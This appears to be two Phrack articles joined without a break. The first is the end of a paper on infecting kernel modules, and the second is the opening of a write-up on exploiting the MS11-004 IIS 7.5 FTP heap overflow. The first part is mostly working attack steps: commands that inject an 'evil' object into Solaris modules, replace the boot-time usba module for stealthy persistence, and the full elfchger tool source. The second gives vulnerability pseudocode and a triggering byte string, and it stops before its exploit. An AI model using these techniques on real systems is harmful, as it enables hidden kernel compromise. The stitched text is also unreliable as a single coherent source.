This way, the kernel will load the _init() function defined in evil.c which in turn will call the _evil() function (the old _init()) in order to maintain the correct behaviour of the orig module. It is possible to change a symbol name using the 'objcopy' tool. In fact the '‑‑redefine‑sym' option can be used to give an arbitrary name to the specified symbol:

# /usr/sfw/bin/gobjcopy ‑‑redefine‑sym _init=_evil orig.o

# /usr/ccs/bin/elfdump ‑s orig.o

Symbol Table Section: .symtab

index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text

...

[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove

By checking with "elfdump" it is possible to verify if the script properly performed its job:

# /usr/ccs/bin/elfdump ‑s orig.o

Symbol Table Section: .symtab

index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text

...

[16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove

The _init symbol name has been modified to _evil. The modules are then linked together using the "ld" command:

# ld ‑r orig.o evil.o ‑o new.o

The new.o elf file dump follows:

# /usr/ccs/bin/elfdump ‑s new.o

Symbol Table Section: .symtab

index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o [2] 0x00000000 0x00000000 SECT LOCL D 0 .text

...

[27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c [28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init [33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove [36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err

To summarize, the _init symbol is referring to the function defined in evil.c, while the _evil symbol is referring to the old _init defined in orig.c that we have just renamed to _evil.

Now, the last step is to rename the new.o into orig.o and to load it:

# mv new.o orig.o

# modload orig.o

# tail /var/adm/messages

...

May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject!

May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original!

As you can see the module is successfully infected.

# modinfo | grep orig.o

247 fa9e6eac 160 ‑ 1 orig.o (original)

# modunload ‑i 247

‑‑‑[ 6.1.2 ‑ Playing with OS modules

This section will explain how to infect a system kernel module. The method remains the same but it will be necessary to make minor changes to the evil module in order to correctly load it to memory. The evil module will be injected into the audio driver. First of all, the module has to be unloaded:

# modinfo | grep lx_audio

216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1) # modunload ‑i 216

Now, it is possible to play with it:

# /usr/ccs/bin/elfdump ‑s lx_audio|grep _init

[64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init [118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init

# /usr/sfw/bin/gobjcopy ‑‑redefine‑sym _init=_evil lx_audio

# ld ‑r evil.o lx_audio ‑o new

# /usr/ccs/bin/elfdump ‑s new|grep _evil

[77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil

# mv new lx_audio

# modload lx_audio

# tail /var/adm/messages

...

Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject!

Great, it works!

‑‑‑[ 6.1.3 ‑ Keeping it stealthy

According to the /etc/system file, the kernel modules that are loaded at boot time are located in the /kernel and /usr/kernel directories. The platform‑dependent modules reside in the /platform directory. In this example I'll infect the usb kernel module: usba.

First of all the kernel module's position in the filesystem must be located:

# find /kernel ‑name usba

/kernel/misc/amd64/usba

/kernel/misc/usba

/kernel/kmdb/amd64/usba

/kernel/kmdb/usba

# cd /kernel/misc/usba

# /usr/ccs/bin/elfdump ‑s usba|grep _init

...

[291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init [307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init [347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init ....

[655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init [692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init

Now it is possible to change the _init symbol name to _evil.

# /usr/sfw/bin/gobjcopy ‑‑redefine‑sym _init=_evil usba

# /usr/ccs/bin/elfdump ‑s usba|grep _evil

[348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil

# ld ‑r evil.o usba ‑o new

Now we have only to rename the module to its original name:

# mv new usba

From now on, every time the system is booted, the infected usba kernel module will be loaded instead of the original one.

‑‑‑[ 6.2 ‑ *BSD

‑‑‑[ 6.2.1 ‑ FreeBSD ‑ NetBSD ‑ OpenBSD

The conclusions made by truff are still valid in the newest versions of these operating systems. On FreeBSD, kernel modules are shared objects, so the proposed method doesn't work because the kernel modules can't be partially linked. On NetBSD and OpenBSD what we have to do is simply to change the entry point of the kernel module when it is loaded. So our function will be invoked instead the original one.

‑‑‑[ 7 ‑ Conclusions

In this paper a new module injection method was introduced to be used with Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more sophisticated were presented to inject external code into kernel modules.

It was also explained how the method (with some changes) can be successfully applied to a wide range of operating systems. I hope you'll have fun with it and that you enjoyed this paper!

Bye.

‑‑‑[ 8 ‑ References

[1] Infecting loadable kernel modules http://www.phrack.com/issues.html?issue=61&id=10#article

[2] EXECUTABLE AND LINKABLE FORMAT (ELF) http://www.muppetlabs.com/~breadbox/software/ELF.txt

[3] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html

[4] Understanding the Linux Kernel, 3rd Edition

[5] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html

[6] OpenBSD Loadable Kernel Modules http://www.thc.org/root/docs/loadable_kernel_modules/openbsd‑lkm.html

[7] Introduction to NetBSD loadable kernel modules http://www.home.unix‑ag.org/bmeurer/NetBSD/howto‑lkm.html

[8] Solaris Loadable Kernel Modules http://www.thc.org/papers/slkm‑1.0.html

[9] Initrd, modules, and tools http://www.dark.ca/2009/06/10/initrd‑modules‑and‑tools/

‑‑‑[ 9 ‑ Codes

‑‑‑[ 9.1 ‑ Elfchger

/*

* elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code) *

* Script with two features:

*

* Usage 1: Change the symbol name value (address) in a kernel module. * Usage 2: Change the symbol binding (from local to global) in a kernel * module.

*

* Usage:

* 1: ./elfchger ‑f [symbol] ‑v [value] <module_name>

* 2: ./elfchger ‑g [symbol] <module_name>

*/

#include <stdlib.h>

#include <stdio.h>

#include <elf.h>

#include <string.h>

#include <getopt.h>

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr);

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len);

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name);

int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr);

void usage(char *cmd);

int main (int argc, char **argv) {

FILE *fd;

Elf32_Ehdr hdr;

Elf32_Shdr symtab, strtab;

Elf32_Sym sym;

Elf32_Off symoffset;

Elf32_Addr value;

unsigned long new_index = 0;

int gflag = 0, vflag = 0, fflag = 0;

char *sym_name;

int sym_value = 0;

long sym_off, str_off;

int opt;

if ( argc != 4 && argc != 6 ) {

usage(argv[0]);

exit(‑1);

}

while ((opt = getopt(argc, argv, "vsg")) != ‑1) {

switch (opt) {

case 'g':

if( argc‑1 < optind) {

printf("[‑] You must specify symbol name!\n"); usage(argv[0]);

exit(‑1);

}

gflag = 1;

sym_name = argv[optind];

break;

case 's':

if( argc‑1 < optind) {

printf("[‑] You must specify symbol name!\n"); usage(argv[0]);

exit(‑1);

}

fflag = 1;

sym_name = argv[optind];

break;

case 'v':

if( argc‑1 < optind) {

printf("[‑] You must specify new symbol address\n"); usage(argv[0]);

exit(‑1);

}

vflag = 1;

sym_value = strtol(argv[optind], (char **) NULL, 16);

break;

default:

usage(argv[0]);

exit(‑1);

}

}

printf("[+] Opening %s file...\n", argv[argc‑1]);

fd = fopen (argv[argc‑1], "r+");

if (fd == NULL) {

printf("[‑] File \"%s\" not found!\n", argv[1]); exit(‑1);

}

printf("[+] Reading Elf header...\n");

if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {

printf("[‑] Elf header corrupted!\n");

exit(‑1);

}

printf("\t>> Done!\n");

printf("[+] Finding \".symtab\" section...\n");

sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);

if (sym_off == ‑1) {

printf("[‑] Can't get .symtab section\n");

exit(‑1);

}

printf("\t>> Found at 0x%x\n", (int )sym_off);

printf("[+] Finding \".strtab\" section...\n");

str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);

if (str_off == ‑1) {

printf("[‑] Can't get .strtab section!\n");

exit(‑1);

}

printf("\t>> Found at 0x%x\n", (int )str_off);

printf("[+] Getting symbol' infos:\n");

symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);

if ( (int) symoffset == ‑1) {

printf("[‑] Symbol \"%s\" not found!\n", sym_name); exit(‑1);

}

if ( gflag == 1 ) {

if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {

unsigned char global;

unsigned long offset = 0;

printf("[+] Reordering symbols:\n");

new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);

printf("[+] Updating symbol' infos:\n");

symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);

if ( (int) symoffset == ‑1) {

printf("[‑] Symbol \"%s\" not found!\n", sym_name); exit(‑1);

}

offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;

printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\ \n", (unsigned int)offset);

if (fseek (fd, offset, SEEK_SET) == ‑1) {

perror("[‑] fseek: ");

exit(‑1);

}

global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);

if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {

perror("[‑] fwrite: ");

exit(‑1);

}

printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);

if ( fseek(fd, sym_off, SEEK_SET) == ‑1 ) {

perror("[‑] fseek: ");

exit(‑1);

}

symtab.sh_info = new_index; // updating sh_info with the new index

// in symbol table.

if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) {

perror("[‑] fwrite: ");

exit(‑1);

}

} else {

printf("[‑] Already global function!\n");

}

} else if ( fflag == 1 && vflag == 1 ) {

memset(&value, 0, sizeof(Elf32_Addr));

memcpy(&value, &sym_value, sizeof(Elf32_Addr));

printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);

if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == ‑1) {

perror("[‑] fseek: ");

exit(‑1);

}

if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) {

perror("[‑] fwrite: ");

exit(‑1);

}

printf("done!\n");

fclose (fd);

}

return 0;

}

/* This function returns the offset relative to the symbol name "name" */

Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {

unsigned int i;

char symname[255];

for ( i = 0; i < (symtab‑>sh_size/symtab‑>sh_entsize); i++) {

if (fseek (fd, symtab‑>sh_offset + (i * symtab‑>sh_entsize), SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {

perror("\t[‑] read: ");

exit(‑1);

}

memset (symname, 0, sizeof (symname));

ElfGetSymbolName (fd, sym‑>st_name, strtab, symname, sizeof (symname));

if (!strcmp (symname, name)) {

printf("\t>> Symbol found at 0x%x\n", symtab‑>sh_offset + (i * symtab‑>sh_entsize));

printf("\t>> Index in symbol table: 0x%x\n", i);

return symtab‑>sh_offset + (i * symtab‑>sh_entsize); }

}

return ‑1;

}

/* This function returns the new index of symbol "name" inside the symbol

* table after re‑ordering. */

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name) {

unsigned int i = 0, j = 0;

char symname[255];

Elf32_Sym *all;

Elf32_Sym temp;

unsigned long new_index = 0;

unsigned long my_off = 0;

printf("\t>> Starting:\n");

all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) * (symtab‑>sh_size/symtab‑>sh_entsize));

if ( all == NULL ) {

return ‑1;

}

memset(all, 0, symtab‑>sh_size/symtab‑>sh_entsize);

my_off = symtab‑>sh_offset;

for ( i = 0; i < (symtab‑>sh_size/symtab‑>sh_entsize); i++) {

if (fseek (fd, symtab‑>sh_offset + (i * symtab‑>sh_entsize), SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {

printf("\t[‑] fread: ");

exit(‑1);

}

memset (symname, 0, sizeof (symname));

ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));

if (!strcmp (symname, name)) {

j = i;

continue;

}

}

temp = all[j];

for ( i = j; i < (symtab‑>sh_size/symtab‑>sh_entsize); i++ ) {

if ( i+1 >= symtab‑>sh_size/symtab‑>sh_entsize ) break;

if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {

printf("\t>> Moving symbol from %x to %x\n", i+1, i);

all[i] = all[i+1];

} else {

new_index = i;

printf("\t>> Moving our symbol from %d to %x\n", j, i);

all[i] = temp;

break;

}

}

printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);

if ( fseek (fd, my_off, SEEK_SET) == ‑1 ) {

perror("\t[‑] fseek: ");

exit(‑1);

}

if ( fwrite(all, sizeof( Elf32_Sym), symtab‑>sh_size/symtab‑>sh_entsize, fd) < (symtab‑>sh_size/symtab‑>sh_entsize )) {

perror("\t[‑] fwrite: ");

exit(‑1);

}

printf("\t>> Done!\n");

free(all);

return new_index;

}

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) {

if (fseek (fd, ehdr‑>e_shoff + (index * ehdr‑>e_shentsize), SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

printf("\t[‑] Sections header corrupted");

exit(‑1);

}

return 0;

}

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) {

int i;

char name[255];

Elf32_Shdr shstrtable;

ElfGetSectionByIndex (fd, ehdr, ehdr‑>e_shstrndx, &shstrtable);

memset (name, 0, sizeof (name));

for ( i = 0; i < ehdr‑>e_shnum; i++) {

if (fseek (fd, ehdr‑>e_shoff + (i * ehdr‑>e_shentsize), SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

printf("[‑] Sections header corrupted");

exit(‑1);

}

ElfGetSectionName (fd, shdr‑>sh_name, &shstrtable, name, sizeof (name));

if (!strcmp (name, section)) {

return ehdr‑>e_shoff + (i * ehdr‑>e_shentsize);

}

}

return ‑1;

}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) {

size_t i = 0;

if (fseek (fd, shstrtable‑>sh_offset + sh_name, SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

while ( (i < len‑1) || *res != '\0' ) {

*res = fgetc (fd);

i++;

res++;

}

return 0;

}

void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) {

size_t i = 0;

if (fseek (fd, strtable‑>sh_offset + sym_name, SEEK_SET) == ‑1) {

perror("\t[‑] fseek: ");

exit(‑1);

}

while ((i < len‑1) || *res != '\0') {

*res = fgetc (fd);

i++;

res++;

}

return;

}

void usage(char *cmd) {

printf("Usage: %s <option(s)> <module_name>\n", cmd); printf("Option(s):\n");

printf(" ‑g [symbol]\tSymbol we want to change the binding as global\n"); printf("Or:\n");

printf(" ‑s [symbol]\tSymbol we want to change the value (address)\n"); printf(" ‑v [value] \tNew value (address) for symbol\n");

return;

}

‑‑‑[ 9.2 ‑ elfstrchange.patch

@@ ‑9,6 +9,7 @@

#include <stdlib.h>

#include <stdio.h>

#include <elf.h>

+#include <string.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

@@ ‑160,7 +161,7 @@

if (fseek (fd, shstrtable‑>sh_offset + sh_name, SEEK_SET) == ‑1) FATAL ("fseek");

‑ while ((i < len) || *res == '\0')

+ while ((i < len‑1) || *res != '\0')

{

*res = fgetc (fd);

i++;

@@ ‑179,7 +180,7 @@

if (fseek (fd, strtable‑>sh_offset + sym_name, SEEK_SET) == ‑1) FATAL ("fseek");

‑ while ((i < len) || *res == '\0')

+ while ((i < len‑1) || *res != '\0')

{

*res = fgetc (fd);

i++;

The Art of Exploitation

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0c of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Exploiting MS11‑004 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑=[ Microsoft IIS 7.5 remote heap buffer overflow ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by redpantz ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

1 ‑ Introduction

2 ‑ The Setup

3 ‑ The Vulnerability

4 ‑ Exploitation Primitives

5 ‑ Enabling the LFH

6 ‑ FreeEntryOffset Overwrite

7 ‑ The Impossible

8 ‑ Conclusion

9 ‑ References

10 ‑ Exploit (thing.py)

‑‑[ 1 ‑ Introduction

Exploitation of security vulnerabilities has greatly increased in difficulty since the days of the Slammer worm. There have been numerous exploitation mitigations implemented since the early 2000's. Many of these mitigations were focused on the Windows heap; such as Safe Unlinking and Heap Chunk header cookies in Windows XP Service Pack 2 and Safe Linking, expanded Encoded Chunk headers, Terminate on Corruption, and many others in Windows Vista/7 [1].

The widely deployed implementation of anti‑exploitation technologies has made gaining code execution from vulnerabilities much more expensive (notice that I say "expensive" and not "impossible"). By forcing the attacker to acquire more knowledge and spend expansive amounts of research time, the vendor has made exploiting these vulnerabilities increasingly difficult.

This article will take you through the exploitation process (read: EIP) of a heap overflow vulnerability in Microsoft IIS 7.5 (MS11‑004) on a 32‑bit, single‑core machine. While the target is a bit unrealistic for the real‑world, and exploit reliability may be a bit suspect, it does suffice in showing that an "impossible to exploit" vulnerability can be leveraged for code execution with proper knowledge and sufficient time.

Note: The structure of this article will reflect the steps, in order, taken when developing the exploit. It differs from the linear nature of the actual exploit because it is designed to show the thought process during exploit development. Also, since this article was authored quite some time after the initial exploitation process, some steps may have been left out (i.e. forgotten); quite sorry about that.

‑‑[ 2 ‑ The Setup

A proof of concept was released by Matthew Bergin in December 2010 that stated there existed an unauthenticated Denial of Service (DoS) against IIS FTP 7.5, which was triggered on Windows 7 Ultimate [3]. The exploit appeared to lack precision, so it was decided further investigation was necessary.

After creating a test environment, the exploit was run with a debugger attached to the FTP process. Examination of the error concluded it wasn't a DoS and most likely could be used to achieve remote code execution:

BUGCHECK_STR:

APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_\ heap_failure_freelists_corruption

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption

STACK_TEXT:

77f474cb ntdll!RtlpCoalesceFreeBlocks+0x3c9

77f12eed ntdll!RtlpFreeHeap+0x1f4

77f12dd8 ntdll!RtlFreeHeap+0x142

760074d9 KERNELBASE!LocalFree+0x27

72759c59 IISUTIL!BUFFER::FreeMemory+0x14

724ba6e3 ftpsvc!FTP_COMMAND::WriteResponseAndLog+0x8f

724beff8 ftpsvc!FTP_COMMAND::Process+0x243

724b6051 ftpsvc!FTP_SESSION::OnReadCommandCompletion+0x3e2 724b76c7 ftpsvc!FTP_CONTROL_CHANNEL::OnReadCommandCompletion+0x1e4 724b772a ftpsvc!FTP_CONTROL_CHANNEL::AsyncCompletionRoutine+0x17 7248f182 ftpsvc!FTP_ASYNC_CONTEXT::OverlappedCompletionRoutine+0x3c 724a56e6 ftpsvc!THREAD_POOL_DATA::ThreadPoolThread+0x89 724a58c1 ftpsvc!THREAD_POOL_DATA::ThreadPoolThread+0x24 724a4f8a ftpsvc!THREAD_MANAGER::ThreadManagerThread+0x42 76bf1194 kernel32!BaseThreadInitThunk+0xe

77f1b495 ntdll!__RtlUserThreadStart+0x70

77f1b468 ntdll!_RtlUserThreadStart+0x1b

While simple write‑4 primitives have been extinct since the Windows XP SP2 days [1], there was a feeling that currently known, but previously unproven techniques could be leveraged to gain code execution. Adding fuel to the fire was a statement from Microsoft stating that the issue "is a Denial of Service vulnerability and remote code execution is unlikely" [4].

With the wheels set in motion, it was time to figure out the vulnerability, gather exploitation primitives, and subvert the flow of execution by any means necessary...

‑‑[ 3 ‑ The Vulnerability

The first order of business was to figure out the root cause of the vulnerability. Understanding the root cause of the vulnerability was integral into forming a more refined and concise proof of concept that would serve as a foundation for exploit development.

As stated in the TechNet article, the flaw stemmed from an issue when processing Telnet IAC codes [5]. The IAC codes permit a Telnet client to tell the Telnet server various commands within the session. The 0xFF character denotes these commands. TechNet also describes a process that requires the 0xFF characters to be 'escaped' when sending a response by adding an additional 0xFF character.

Now that there is context around the vulnerability, the corresponding crash dump can be further analyzed. Afterwards we can open the binary in IDA Pro and attempt to locate the affected code. Unfortunately, after statically cross‑referencing the function calls from the stack trace, there didn't seem to be any functions that performed actions on Telnet IAC codes. While breakpoints could be set on any of the functions in the stack trace, another path was taken.

Since the public symbols named most of the important functions within the ftpsvc module, it was deemed more useful to search the function list than set debugger breakpoints. A search was made for any function starting with 'TELNET', resulting in 'TELNET_STREAM_CONTEXT::OnReceivedData' and 'TELNET_STREAM_CONTEXT::OnSendData'. The returned results proved to be viable after some quick dynamic analysis when sending requests and receiving responses.

The OnReceivedData function was investigated first, since it was the first breakpoint that was hit. Essentially the function attempts to locate Telnet IAC codes (0xFF), escape them, parse the commands and normalize the request. Unfortunately it doesn't account for seeing two consecutive IAC codes.

The following is pseudo code for important portions of OnReceivedData:

TELNET_STREAM_CONTEXT::OnReceivedData(char *aBegin, DATA_STEAM_BUFFER *aDSB, ...)

{

DATA_STREAM_BUFFER *dsb = aDSB;

int len = dsb‑>BufferLength;

char *begin = dsb‑>BufferBegin;

char *adjusted = dsb‑>BufferBegin;

char *end = dsb‑>BufferEnd;

char *curr = dsb‑>BufferBegin;

if(len >= 3)

{

//0xF2 == 242 == Data Mark

if(begin[0] == 0xFF && begin[1] == 0xFF && begin[2] == 0xF2) curr = begin + 3;

}

bool seen_iac = false;

bool seen_subneg = false;

if(curr >= end)

return 0;

while(curr < end)

{

char curr_char = *curr;

//if we've seen an iac code

//look for a corresponding cmd

if(seen_iac)

{

seen_iac = false;

if(seen_subneg)

{

seen_subneg = false; if(curr_char < 0xF0) *adjusted++ = curr_char;

}

else

{

if(curr_char != 0xFA)

{

if(curr_char != 0xFF) {

if(curr_char < 0xF0) { PuDbgPrint("Invalid command %c", curr_char)

if(curr_char)

*adjusted++ = curr_char;

}

}

else

{

if(curr_char) *adjusted++ = curr_char; }

}

else

{

seen_iac = true; seen_subneg = true;

}

}

}

else

{

if(curr_char == 0xFF)

seen_iac = true;

else

if(curr_char)

*adjusted++ = curr_char;

}

curr++;

}

dsb‑>BufferLength = adjusted ‑ begin;

return 0;

}

The documentation states Telnet IAC codes can be used by: "Either end of a Telnet conversation can locally or remotely enable or disable an option". The diagram below represents the 3‑byte IAC command within the overall Telnet connection stream:

0x0 0x2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[IAC][Type of Operation][Option]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: The spec should have been referenced before figuring out the vulnerability, instead of reading the code and attempting to figure out what could go wrong.

Although there is code to escape IAC characters, the function does not except to see two consecutive 0xFF characters in a row. Obviously this could be a problem, but it didn't appear to contain any code that would result in overflow. Thinking about the TechNet article recalled the line 'error in the response', so the next logical function to examine was 'OnSendData'.

Shortly into the function it can be seen that OnSendData is looking for IAC (0xFF) codes:

.text:0E07F375 loc_E07F375:

.text:0E07F375 inc edx

.text:0E07F376 cmp byte ptr [edx], 0FFh .text:0E07F379 jnz short loc_E07F37C

.text:0E07F37B inc edi

.text:0E07F37C

.text:0E07F37C loc_E07F37C:

.text:0E07F37C cmp edx, ebx

.text:0E07F37E jnz short loc_E07F375 ; count the number

of "0xFF" characters

The following pseudo code represents the integral pieces of OnSendData:

TELNET_STREAM_CONTEXT::OnSendData(DATA_STREAM_BUFFER *dsb)

{

char *begin = dsb‑>BufferBegin;

char *start = dsb‑>BufferBegin;

char *end = dsb‑>BufferEnd;

int len = dsb‑>BufferLength;

int iac_count = 0;

if(begin + len == end)

return 0;

//do a total count of the IAC codes

do

{

start++;

if(*start == 0xFF)

iac_count++;

}

while(start < end);

if(!iac_count)

return 0;

for(char *c = begin; c != end; *begin++ = *c)

{

c++;

if(*c == 0xFF)

*begin++ == 0xFF;

}

return 0;

}

As you can see, if the function encounters a 0xFF that is NOT separated by at least 2‑bytes then there is a potential to escape the code more than once, which will eventually lead to a heap corruption into adjacent memory based on the size of the request and amount of IAC codes.

For example, if you were to send the string "\xFF\xBB\xFF\xFF\xFF\xBB\xFF\xFF" to the server, OnReceivedData produces the values:

1) Before OnReceivedData

a. DSB‑>BufferLength = 8

b. DSB‑>Buffer = "\xFF\xBB\xFF\xFF\xFF\xBB\xFF\xFF"

2) After OnReceivedData

a. DSB‑>BufferLength = 4

b. DSB‑>Buffer = "\xBB\xFF\xBB\xFF"

Although OnReceivedData attempted to escape the IAC codes, it didn't expect to see multiple 0xFFs within a certain range; therefore writing the illegitimate values at an unacceptable range for OnSendData. Using the same string from above, OnSendData would write multiple 0xFF characters past the end of the buffer due to de‑synchronization in the reading and writing into the same buffer.

Now that it is known that a certain amount of 0xFF characters can be written past the end of the buffer, it is time to think about an exploitation strategy and gather primitives...

‑‑[ 4 ‑ Exploitation Primitives

Exploitation primitives can be thought of as the building blocks of exploit development. They can be as simple as program functionality that produces a desired result or as complicated as a 1‑to‑n byte overflow. The section will cover many of the primitives used within the exploit.

In‑depth knowledge of the underlying operating system usually proves to be invaluable information when writing exploits. This holds true for the IIS FTP exploit, as intricate knowledge of the Windows 7 Low Fragmentation Heap served as the basis for exploitation.

